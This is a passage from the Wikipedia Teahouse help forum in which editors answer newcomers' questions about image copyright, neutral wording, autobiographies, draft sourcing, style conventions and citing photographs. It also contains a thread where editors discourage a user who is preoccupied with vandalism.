Is taking a part of a Google Street view image from Google Maps and uploading it to Wikipedia allowed? I know Google street view is copyrighted, but it does show public places, homes, scenic areas, etc. across the worlds and is among, if not the best option in viewing something from the street virtually. Is there any ways to use the images legally or does the copyright protect it even against uploading an image on Wikipedia to show what a place looks like? After asking this question, I found this page from Google: https://www.google.com/permissions/geoguidelines/attr-guide.html The page makes it sound like you may use the images with proper attribution. If the images are uploaded with proper atrribution, would using the copyrighted images be ok to upload and use on Wikipedia then? Greshthegreat (talk) 02:57, 8 February 2018 (UTC)

Google's rules are somewhat vague, but I would highly doubt it. According to the Street View specific guidelines on that page, it seems that attribution is just one of their requirements. It states that if we're going to use it in a web application (which I'm assuming they would consider Wikipedia), it would have to be embedded into the page using their own magic HTML/JS application. As far as I know, this can't be done on Wikipedia right now. It also makes reference to fair use/fair dealing laws, which Wikipedia has a very narrow allowance for.

Checking this image on the Google Street View page, the understanding is that it's used under the fair use guideline specifically to demonstrate Street View. I can't see how that could be applied to a Street View image demonstrating something else. Cryptic Canadian 04:25, 8 February 2018 (UTC)

I agree. My view is thay in no way would uploading a Google Street View image to illustrate an article be acceptable. It would not be fair use. The best way for Greshthegreat to utilise it is would simply be to add a hyperlink to the relevant view within an "External links" section. (I've personally found Google and their suppliers very amenable in granting one-off permission for aerial images use in printed information leaflets, but I can't see them ever doing this for use across Wikipedia.) Regards from the UK, Nick Moyes (talk) 09:23, 8 February 2018 (UTC)

question

i found this sentence in the article crystal mall british columbia. "Also of note is within a section of a hallway on the first level consist of a so called "computer lane" which sells mainly computers and electronics parts." is this sentence a neutral point of view? Thegooduser talk 03:14, 8 February 2018 (UTC)

Hi, Thegooduser. Phrases like "of note" are editorializing and should be avoided to maintain a neutral point of view. Thanks for noticing. Even better, if you can find a source like a news article like that talks about this "computer lane," add it! Anon126 (notify me of responses! / talk / contribs) 05:06, 8 February 2018 (UTC)

Hi Thegooduser the specific guideline about this type of editorial issue is at WP:NOTETHAT. -- Roger (Dodger67) (talk) 10:37, 8 February 2018 (UTC)

How to credit myself as an actor in the Wikipedia?

Dear Team,

I would like to create a wikipedia article for myself as an actor and i am not really sure how to do this.

Kind Regards, YaniYani Xander (talk) 04:17, 8 February 2018 (UTC)

Before you do, please read this, this and this. Creating articles about yourself is something you have to be careful about around here as it's generally frowned upon. Cryptic Canadian 04:30, 8 February 2018 (UTC)

Also the specific advice against autobiography. --David Biddulph (talk) 09:09, 8 February 2018 (UTC)

@Yanixander: Based on your user page, I would say that you are a very long way from meriting a Wikipedia article. If your goal in wanting an article here is to simply tell the world about yourself or promote your career, you should do so on social media. Wikipedia is not social media. To merit an article on Wikipedia, you would need to have independent reliable sources that indicate how you meet the notability guidelines for actors. In writing such an article, you would need to forget everything you know about yourself and write only based on what the independent sources state about you. That is usually hard for people to do about themselves. If you do end up meriting an article in the future, it would be best if you simply let independent editors write it.331dot (talk) 11:25, 8 February 2018 (UTC)

I would further add that having a Wikipedia article about yourself is not necessarily a good thing. You cannot lock it to the text that you might prefer, prevent others from editing it, or keep out information you don't want there(unless it is defamatory). As long as something appears in an independent reliable source, it can be in a Wikipedia article, be it good or bad. 331dot (talk) 11:27, 8 February 2018 (UTC)

What if scenario

What would happen if for one day, admins let people do whatever they want to wikipedia and not get caught TommyGu (talk) 21:58, 6 February 2018 (UTC)

@TommyGu: This page isn't really meant as a forum to speculate about Wikipedia; it meant to ask questions about using Wikipedia. 331dot (talk) 22:01, 6 February 2018 (UTC)

@TommyGu: For a new editor, you seem to have an odd preoccupation with questions of vandalism. Wikipedia is not an anarchy and is free and open only to the point where it does not interfere with creating an encyclopedia. --Drm310 🍁 (talk) 22:05, 6 February 2018 (UTC)

@TommyGu: Why are you so keen to know how to ruin the best encyclopaedia in the world? Dbfirs 22:07, 6 February 2018 (UTC)

Regular editors do a pretty good job of reverting vandalism, so I'm sure we'd cope for a day without the ability to block users. It would waste a lot of those editors' time, though. Cordless Larry (talk) 22:11, 6 February 2018 (UTC)

TommyGu These repeated questions about your desire to vandalize Wikipedia are not constructive and not welcome. If you have questions about improving the encyclopedia this is the appropriate forum, otherwise, that's quite enough. GMG ^talk 22:51, 6 February 2018 (UTC)

To confess, I've vandalized Wikipedia because my gut said so a very long time ago. I still feel the urge and I need help please, i need to prevent myself from vandalizing Wikipedia again and stop myself from being addicted to it. Please help me give reasons why I shouldn't vandalize Wikipedia, I want to become a good faith editor but don't know how TommyGu (talk) 23:49, 6 February 2018 (UTC)

Unlike many other young editors who make great contributions here, are you saying you realise you don't yet have the maturity to control your urges to damage the hard work of everyone who works so hard and collaboratively to build this encyclopaedia? It's great that you recognise your weakness, and want to do something about it. But it's rather sad if you can't control a childish urge. I assume you don't want to get totally blocked from editing, so the best way is this fresh start, and demonstrating what you can contribute to. Take a look at your contributions so far: [3] You can watch them grow as you make small improvements, bit by bit, to articles you're interested in. Only add facts that you can support with evidence, but why not start by simply reading articles you're interested in and making small improvements, like correcting spellings or punctuation? There are lots of jobs that we'd love more help to do. Why not check out Wikipedia:Task Center for ideas? You obviously know other editors will see all your work, and that you'll soon get blocked from all editing if you were to mess around. But wouldn't you rather be thanked or know that you're helping out positively? No more questions now - you're beginning to sound like some trolls do - so just go off and work together with everyone else to make Wikipedia even greater. In ten years time you might be looking back and saying, wow, look what I helped to build! No more questions on this topic - there are no more replies to give you. Nick Moyes (talk) 00:57, 7 February 2018 (UTC)

@TommyGu: Your repeated raising this vandalism issue is itself a form of vandalism, as you are wasting time of people who commit to help others. To cite Master Yoda ""Do or do not, there is no try." For you, either make useful edits or do nothing. David notMD (talk) 04:33, 7 February 2018 (UTC)

A WP:NOTHERE block could probably be considered. Roger (Dodger67) (talk) 11:29, 7 February 2018 (UTC)

@Dodger67: A WP:CHECK might also be a good idea if this user's admitted history of vandalism (and emerging recidivism) is true. --Drm310 🍁 (talk) 14:32, 7 February 2018 (UTC)

@Nick Moyes: I'm sorry, I will redeem myself. I really want to have some help, I'd like to have someone guide me, that is why I put myself in the adopt a user program, Would anyone please give me a hand and start my cycle of forgiving myself and anothers of my wrongs? TommyGu (talk) 01:36, 8 February 2018 (UTC)

@TommyGu: I have just placed detailed advice on your Talk Page. You gain forgiveness by becoming a good editor. No more chit-chat is needed here. Nick Moyes (talk) 11:44, 8 February 2018 (UTC)

Advice on getting article approved

Dear all,

This is my first time trying to submit to Wikipedia and I spent so much time trying to get it right, but obviously I didn't do well enough as I got the following message!

This submission is not adequately supported by reliable sources.

Here is the draft article: https://en.wikipedia.org/wiki/Draft:Salvatori

I'd appreciate any input as to what could have let the sources down. I thought they were pretty extensive.

Many thanks OT OliveTree (talk) 09:40, 8 February 2018 (UTC)

Hi, I'm quite new to Wikipedia editing too but I've had a quick look at your draft article and in my humble opinion I would guess that maybe it contravenes the fair and unbiased policy for articles/references. It comes across as a Salvatori advertisement and some of the references are blatantly promotional material containing price lists. This is only my opinion, I hope other people can throw more light on it.Rodney Baggins (talk) 11:08, 8 February 2018 (UTC)

(edit conflict) OliveTree: to establish that the subject is notable, you need to cite reliable independent sources with in-depth discussion of the subject. The sources you have cited in Draft:Salvatori may be "extensive", but as far as I can tell, they contribute nothing to that. I've looked at the first eight:

(is having a bad day today, and returns a "server error".)
is based on an interview with Sr. Salvatori, and so not independent.
is a directory entry
is the company's own web site, and so not independent.
has a mere mention of the subject
has a mere mention of the subject
provides just two words about the subject
has exactly the same text as 7.

Maproom (talk) 11:11, 8 February 2018 (UTC)

— and Rodney Baggins is right, the draft looks more like an advertising brochure than an encyclopedia article. That would be fairly easy to correct, by deleting all the promotional wording, the lists of products, and the list of non-notable awards. But if you can't establish that the subject is notable, the article will never be accepted, and other work on it will be wasted. Maproom (talk) 11:19, 8 February 2018 (UTC)

This article is the only thing you have ever worked on. Are you in any way connected to Salvatori? Being paid or receiving other benefits from Salvatori (a free floor?)? If so, you need to declare COI and PAID. David notMD (talk) 12:49, 8 February 2018 (UTC)

Are exhibit names italicized?

...such as the examples in this section? I wasn't sure, and removed them, and got blowback from an editor who gave me a good going over on my talk page, and suggested I come here. Quite the place! I've heard of the page and the project, but never looked at it and don't really understand the entire concept. Will study up. Thank you for your help with this question, and for all of your work here. Pretty cool. Randy Kryn (talk) 04:20, 7 February 2018 (UTC)

Hmmm, MOS:ITALICS says to italicize "Major works of art and artifice" and "shorter works should be enclosed in double quotation marks". But, I do not see any specific advice on museum exhibits; the closest examples would seem to be paintings and sculptures. On the other hand, the NPS website uses double-quotes to refer to the exhibit. Looks like we might be in slightly uncharted territory. Chris857 (talk) 04:51, 7 February 2018 (UTC)

Is the act of curating an exhibition itself a work of art? Roger (Dodger67) (talk) 11:32, 7 February 2018 (UTC)

Pretty much anything created in the public or private realm is a work of art from the viewpoint of initial creativity, follow-through, and then presentation. Buildings aren't italicized, or clothing. Stamp or coin issues are certainly works of art, yet aren't italicized. I'm not arguing for or against on this issue, just seeking clarification per the concerns of the editor who gave me a virtual facepalm on my talk page for removing the italics and for experiencing my first venture into the teahouse. Do you folks have high-tea as well? Randy Kryn (talk) 13:28, 7 February 2018 (UTC)

@Randy Kryn: I can't offhand find anything relevant in the WP MoS, but in real-world publishing titles of exhibits are usually enclosed in quotation marks, not italicized. Not much help, perhaps. Deor (talk) 13:53, 8 February 2018 (UTC)

Language preference for new Wiki pages

Hi, I was just wondering which language you recommend using on Wiki pages. I have seen some pages written in UK English (e.g. behaviour, analyse) and some written in US English (e.g. behavior, analyze). Does it depend entirely on the nationality of the page creator? Rodney Baggins (talk) 11:14, 8 February 2018 (UTC)

@Rodney Baggins: Hello and welcome to the Teahouse. Guidelines in this area are at WP:ENGVAR. Wikipedia does not prefer any particular national variety of English. In general, I think that the version of English used depends on the nationality of the article subject(i.e. an article about something from the UK would be in British English). If the subject crosses national lines, then just use whatever variety of English you use, while perhaps working to use words common to all versions as much as possible. Some suggestions in that area are on the page I linked to. 331dot (talk) 11:19, 8 February 2018 (UTC)

Thanks for that information, it makes sense to stick to the language appropriate for the article as long as it's consistent throughout the article. Along similar lines, what's the rule on date formatting? Should that also be UK or US depending on the article? E.g."8 February 2018" and "February 8, 2018" respectively. Or does Wikipedia prefer to stick to a single date format throughout? I notice that |df=yes| gives you the UK version and |mf=yes| gives the US version when used in the birth_date and death_date parameters.Rodney Baggins (talk) 16:03, 8 February 2018 (UTC)

You'll find advice at MOS:DATE. --David Biddulph (talk) 16:10, 8 February 2018 (UTC)

Reference from a picture (photo)

While finding information about an article, I havefound that information in a photo captured by someone. It is submitted in Google Maps and there I found the information. How can I give reference to that information?

AnkurHow (talk) 06:25, 7 February 2018 (UTC)

Hi AnkurHow - as a general rule, WP discourages using user-generated content as references (see: WP:RS). Ipso facto, this would include textual information contained within a photo submitted to Google Maps as the provenance or integrity of the photo couldn't be determined. Non-textual imagery contained in a photograph would run afoul of WP:OR as it would require original interpretation (e.g. you use the photograph to determine that XYZ Building is an example of Tudor architecture). That said, perhaps you can post a link to the specific photo and someone might be able to recommend an alternate source you could use? Chetsford (talk) 10:33, 7 February 2018 (UTC)

Thank you Chetsford for your suggestion. But the matter is a bit more complicated. I am editing an article about a school. The school has a scout group. The scout group was once controled by an organisation. The name of organisation is given in the photo that is submitted to gmaps. But the name is in a corner and written in tiny fonts that can not be seen by an ordinary looking. But if you look carefully, it will be seen clearly. So what should I do?AnkurHow (talk) 05:34 PM , 8 February 2018 (UTC)

I would suggest you find a documentary source. If a documentary source is not available, I'd suggest this article probably constitutes WP:OR if it requires you to conduct forensic photographic analysis. But, referencing only hypothetical organizations and schools and scout groups, I can't say for certain. Chetsford (talk) 17:40, 8 February 2018 (UTC)